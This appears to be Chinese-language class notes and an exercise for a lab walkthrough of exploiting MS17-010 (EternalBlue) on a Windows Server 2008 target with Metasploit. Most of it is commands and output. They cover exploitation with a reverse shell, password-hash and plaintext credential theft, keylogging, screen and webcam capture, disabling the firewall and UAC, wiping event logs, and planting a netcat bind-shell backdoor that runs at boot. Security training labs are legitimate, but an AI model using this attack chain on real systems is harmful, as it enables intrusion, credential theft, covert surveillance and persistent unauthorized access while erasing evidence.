内容回顾

MSFmsfconsole : 进入MSF控制台

msfconsole -q:进入MSF控制台(不显示提示内容)

漏洞利用的通用步骤:

1.搜索:search 漏洞名称

2.使用:use 程序序号/程序全称

3.设置目标:set rhosts 目标主机地址

4.运行:run/exploit

back:回退

exit:退出MSF平台

? : 查看命令提示

show options:查看选项

1.通用漏洞修复方案:到微软官网下载对用的漏洞补丁

2.判断漏洞产生的原因:修改配置,写程序来进行运行修复

永恒之蓝漏洞

漏洞为外界所知源于勒索病毒的爆发,该病毒利用NSA(美国国家安全局)泄露的网络攻击工具 永恒之蓝( EternalBlue )改造而成,漏洞通过TCP445139端口,利用SMB远程代码执行漏洞,攻击者可以在目标系统上执行任意代码
SMB(ServerMessageBlock)协议作为一种局域网文件共享传输协议,常被用来作为共享文件安全传输研究的平台
漏洞名称:CVE-2017-0143/44/45/46/47/48
安全公告:MS17-010
补丁文件:windows6.1-kb4012212-x64、windows6.1-kb4012215-x64

一、渗透侵入

1、漏洞扫描
msf6 >  search ms17-010 

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_ eternalblue   2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/ scanner /smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection                                                         
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution

 // eternalblue攻击脚本, scanner检测脚本                                               

msf6 >  use 3 
msf6 auxiliary( scanner /smb/smb_ms17_010) >  set rhosts 192.168.10.142 
msf6 auxiliary( scanner /smb/smb_ms17_010) >  run 
 [+]  192.168.10.142:445    - Host is likely  VULNERABLE  to MS17-010! - Windows Server 2008 R2 Enterprise 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.10.142:445    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
 // VULNERABLE 目标是脆弱的

2、漏洞利用
msf6 auxiliary(scanner/smb/smb_ms17_010) >  use 0 
msf6 exploit(windows/smb/ms17_010_ eternalblue ) >  set rhosts 192.168.10.142 
msf6 exploit(windows/smb/ms17_010_ eternalblue ) >  run 
[*] Started reverse TCP handler on 192.168.10.224:4444     //开启4444端口 
……
[*] Meterpreter  session 1 opened  ( 192.168.10.224:4444 -> 192.168.10.142:49162 ) at 2023-03-09 12:03:51 +0800
 [+]  192.168.10.142:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 [+]  192.168.10.142:445 - =-=-=-=-=-=-=-=-=-=-=-=-=- WIN -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 [+]  192.168.10.142:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 meterpreter >  
 meterpreter >  
 // 成功 侵入 的目标主机,开启会话(192.168.10.224:4444 -> 192.168.10.142:49162)

二、后渗透

1、获取windows 服务器的密文密码
meterpreter >  hashdump    
  Administrator:500:aad3b435b51404eeaad3b435b51404ee: e02bc503339d51f71d913c245d35b50b
复制第四部分到网站查询 https://cmd5.com/

2、通过kiwi模块获取明文密码
meterpreter >   load kiwi         //加载kiwi模块 
meterpreter >   creds_all         //检测所有凭证,该命令可以列举系统中的明文密码 
kerberos credentials
====================
Username          Domain           Password
--------          ------           --------
(null)            (null)           (null)
Administrator     WIN-5MQI51VLCDC   Tedu.cn123 
win-5mqi51vlcdc$  WORKGROUP        (null)

3、屏幕截图/屏幕共享
meterpreter >  screenshot        //屏幕截图 
Screenshot saved to:  /home/kali/桌面/ZkNiRnVs.jpeg      //截屏已经保存到桌面上 

meterpreter >  screenshare       //屏幕共享 

meterpreter >  webcam_stream     //监控摄像头

4、进程迁移
meterpreter >  getuid             //查看用户身份 
meterpreter >  ps                    //查看进程列表 
meterpreter >  getpid               //查看自己的PID 
meterpreter >  ps -S explorer       //查找explorer进程(用户权限Administrator、不易被结束) 
Filtering on 'explorer'

Process List
============

 PID   PPID  Name          Arch  Session  User                           Path
 ---   ----  ----          ----  -------  ----                           ----
  2828   2620   explorer.exe   x64   1        WIN-53H85RJ4I2T\ Administrator   C:\Windows\Explorer.EXE  
 meterpreter >  migrate    2828          //迁移进程到explorer,稳定,隐蔽,切换用户权限 
 [*] Migrating from 2456 to 2828...
 [*] Migration completed successfully.
 meterpreter >  getuid                //具有administrator身份 
  Server username: WIN-5MQI51VLCDC\ Administrator          

5、执行键盘操作记录
meterpreter >  run post/windows/capture/keylog_recorder    //开启键盘记录后渗透脚本 
 key:键盘
log:日志
recorder:记录器 
[*] Executing module against WIN-5MQI51VLCDC
[*] Starting the keylog recorder...
[*] Keystrokes being saved in to  /root/.msf4/loot/ 20230309152518 _default_192.168.10.142_host.windows.key_914421.txt 
[*] Recording keystrokes...
 //键盘操作记录保存在/root/.msf4/loot/20230309152518_default…… 
打开记事本,输入任意内容
 ^C [*] User interrupt.             //按Ctrl+C结束 
[*] Shutting down keylog recorder. Please wait..
[root@kaili ~]#  cat /root/.msf4/loot/ 20230309152518 _default_192.168.10.142... 
 //打开新的终端,执行命令检查文件

6、 防火墙配置
meterpreter >  shell                        //进入windows2008的cmd命令行 
C:\Windows\system32>  chcp  65001            //消除乱码 
C:\Windows\system32>  netsh  advfirewall  set  allprofiles  state  off  
C:\Windows\system32>  netsh  advfirewall  set  allprofiles  state  on 
C:\Windows\system32>  netsh firewall add portopening tcp 444 backdoor enable all 
                            防火墙    添加 开启端口     协议 端口 名字     启用              
 netsh:network shell 网络管理工具
advfirewall:advanced firewall 高级防火墙
set:设置
allprofiles:all 所有的 profiles 配置
state:状态.
off:关闭
on:开启

7、 关闭UAC
UAC(User Account Control)用户帐户控制,windows操作系统中一种安全控制机制,可以防止未经授权应用程序的自动安装,阻止恶意程序
win2008 检查 UAC 状态
控制面板 — 用户账户 — 更改用户账户控制设置
修改注册表项,关闭用户账户控制
c:\windows\system> 
 reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f 


8、在meterpreter 下清除日志
通过"事件查看器"可以查看系统的日志(应用程序、系统、安全)
黑客会“擦除痕迹”以免被“溯源”
渗透测试时,不要清除日志!!!
c:\windows\system>  exit                           // 退出win2008 cmd命令行终端 
meterpreter >  clearev                             //擦除windows 事件查看器 
[] Wiping 1146 records from Application...      //擦除1146应用日志 
[] Wiping 3288 records from System...           //擦除3288系统日志 
[*] Wiping 2669 records from Security...        //擦除2669 安全日志

三、持久性后门

防止目标主机修补了漏洞后,无法通过系统漏洞侵入目标主机。植入后门并设置开机自启,黑客可以通过后门444口远程控制目标主机
NC:(netcat)被称为网络工具中的瑞士军刀,体积小巧,但功能强大。可以在两台设备上面相互交互,即侦听模式/传输模式

1、上传后门程序nc.exe 到win-2008

meterpreter >   upload /usr/share/windows-binaries/nc.exe c:\\windows\\system32    //上传nc到目标主机 
meterpreter >  ls nc.exe                     //查看上传结果及权限 
100777/rwxrwxrwx  59392  fil  2023-03-09 17:25:27 +0800   nc.exe

2、配置注册表开机自启

Windows“任务计划程序”可以配置定期运行某些程序(win+R输入taskschd.msc查看计划任务
开始 — 管理工具 — 任务计划程序
在 meterpreter > 执行命令,远程配置win-2008注册表,实现nc.exe 能够开机自启
meterpreter >  shell                       //进入cmd命令行 

C:\Windows\system32> chcp 65001            //消除乱码 

C:\Windows\system32>
 schtasks /create /tn "nc" /ru system /tr "c:\windows\system32\nc.exe -Ldp 444 -e cmd.exe" /sc onstart 
          创建     指定名称  执行的用户   指定运行程序的位置                 开启端口号              开机时执行 

 schtasks :scheduled tasks 计划任务
 /create :创建
 /tn : task name 任务名称
 /ru :run user 运行用户
 system :系统用户
 /tr :task run 任务执行的操作
 -Ldp :Listen and port 监听 端口
 -e :execute 执行
 /sc :schedule 计划任务 表示计划任务触发的时机
 onstart :开机

 整个命令含义  
schtasks /create /tn "nc" /ru system /tr "c:\windows\system32\nc.exe -Ldp 444 -e cmd.exe" /sc onstart
表示:
使用计划任务(schtasks)实用程序创建一个名为"nc"的新任务,
以系统权限运行,在系统启动时执行,并执行位于"c:\windows\system32\nc.exe""netcat"程序,
监听端口444并在接收到连接时执行命令提示符。

3、重启win-2008,看nc是否开机自启动

验证:如果444端口开启代表nc启动成功
打开命令提示符:
C:\Users\Administrator>  netstat -an      // 查找444端口 

 或 

 ctrl + shift + Esc打开任务管理器,在进程中查看有没有nc.exe

4、后门接入

在 kali 连接 win2k8 ,在kali 中打开一个新的终端
[root@kali ~]  nc 192.168.10.142 444 
C:\Windows\system32>                           // 成功进入到目标主机命令行

MS17-010漏洞利用过程:


一.验证MS17-010漏洞是否存在
0.登录MSF控制台: msfconsole -q
1.搜索MS17-010漏洞相关程序:search ms17-010
2.序号3对应的程序是漏洞检测程序,能够判断目标主机是否存在MS17-010漏洞
use 3
3.设置目标地址:set rhosts 192.168.10.142 (目标主机地址)
4.运行程序:run/exploit

结果:Host is likely vulnerable to MS17-010!(主机可能存在MS17-010漏洞)

二.利用漏洞进行攻击
1.use 0 (使用序号0对应的漏洞利用程序)
2.设置目标地址:set rhosts 192.168.10.142 (目标主机地址)
3.run (运行)

结果:metepreter> 代表漏洞利用成功,建立了与目标主机的连接

三.获取账号密码信息
成功与目标主机建立了连接:
metepreter> hashdump (获取目标主机的用户名及加密密码)
metepreter>load kiwi (加载kiwi模块,获取凭证信息时可能会出现权限问题,可以迁移到一个SYSTEM用户权限进程下)
metepreter>ps -S "csrss" (搜索csrss.exe进程,获取进程号)
metepreter>migrate 进程号 (迁移进程,获取SYSTEM权限)
metepreter>creds_all (获取所有凭证,加密的密码会进行解析)

四.进行键盘记录及屏幕截图及屏幕共享
metepreter>screenshot (进行屏幕截图)
metepreter> screenshare(屏幕共享)

进行键盘记录:
metepreter>ps -S "explorer.exe" (搜索名为explorer的进程,身份为Administrator)
metepreter>migrate 进程序号 (进程迁移到对应序号的进程)
metepreter>getuid (获取用户信息)
metepreter>run post/windows/capture/keylog_recorder (开启键盘记录器)
win2008用键盘输入内容
kali2022查看键盘记录内容的位置
metepreter>cat 键盘记录保存位置的文件名

五.开关目标主机防火墙,在防火墙开启后门端口
meterpreter > shell C:\Windows\system32> chcp 65001 //消除乱码 C:\Windows\system32> netsh advfirewall set allprofiles state off C:\Windows\system32> netsh advfirewall set allprofiles state on C:\Windows\system32> netsh firewall add portopening tcp 6666 backdoor enable all

六.关闭用户账户控制,清理日志
c:\windows\system> reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
c:\windows\system32>exit
meterpreter>clearev

七.上传nc.exe瑞士军刀到目标主机,设置nc.exe开启自启
meterpreter > upload /usr/share/windows-binaries/nc.exe c:\\windows\\system32 //上传nc到目标主机 meterpreter > ls nc.exe
meterpreter > shell C:\Windows\system32>chcp 65001 //消除乱码 C:\Windows\system32> schtasks /create /tn "nc" /ru system /tr "c:\windows\system32\
nc.exe -Ldp 6666 -e cmd.exe" /sc onstart

八.远程连接nc.exe
kali中打开新的终端:
┌──(root㉿kali)-[~] └─# nc 植入nc.exe程序地址 防火墙预留的端口

练习

.还原win2008快照到靶机位置,并且自己获取win2008 IP地址(192.168.10.134).验证win2008主机MS17-010漏洞是否存在
1.使用openvas扫描
2.使用MSF进行验证


二.发起攻击(获取密码,截图,屏幕共享,键盘记录).后渗透攻击(关闭防火墙,关闭UAC,在防火墙上留下6666后门端口,清理日志记录).植入nc.exe,并且设置nc.exe开机自启.使用kali通过6666后门端口与win2008做远程连接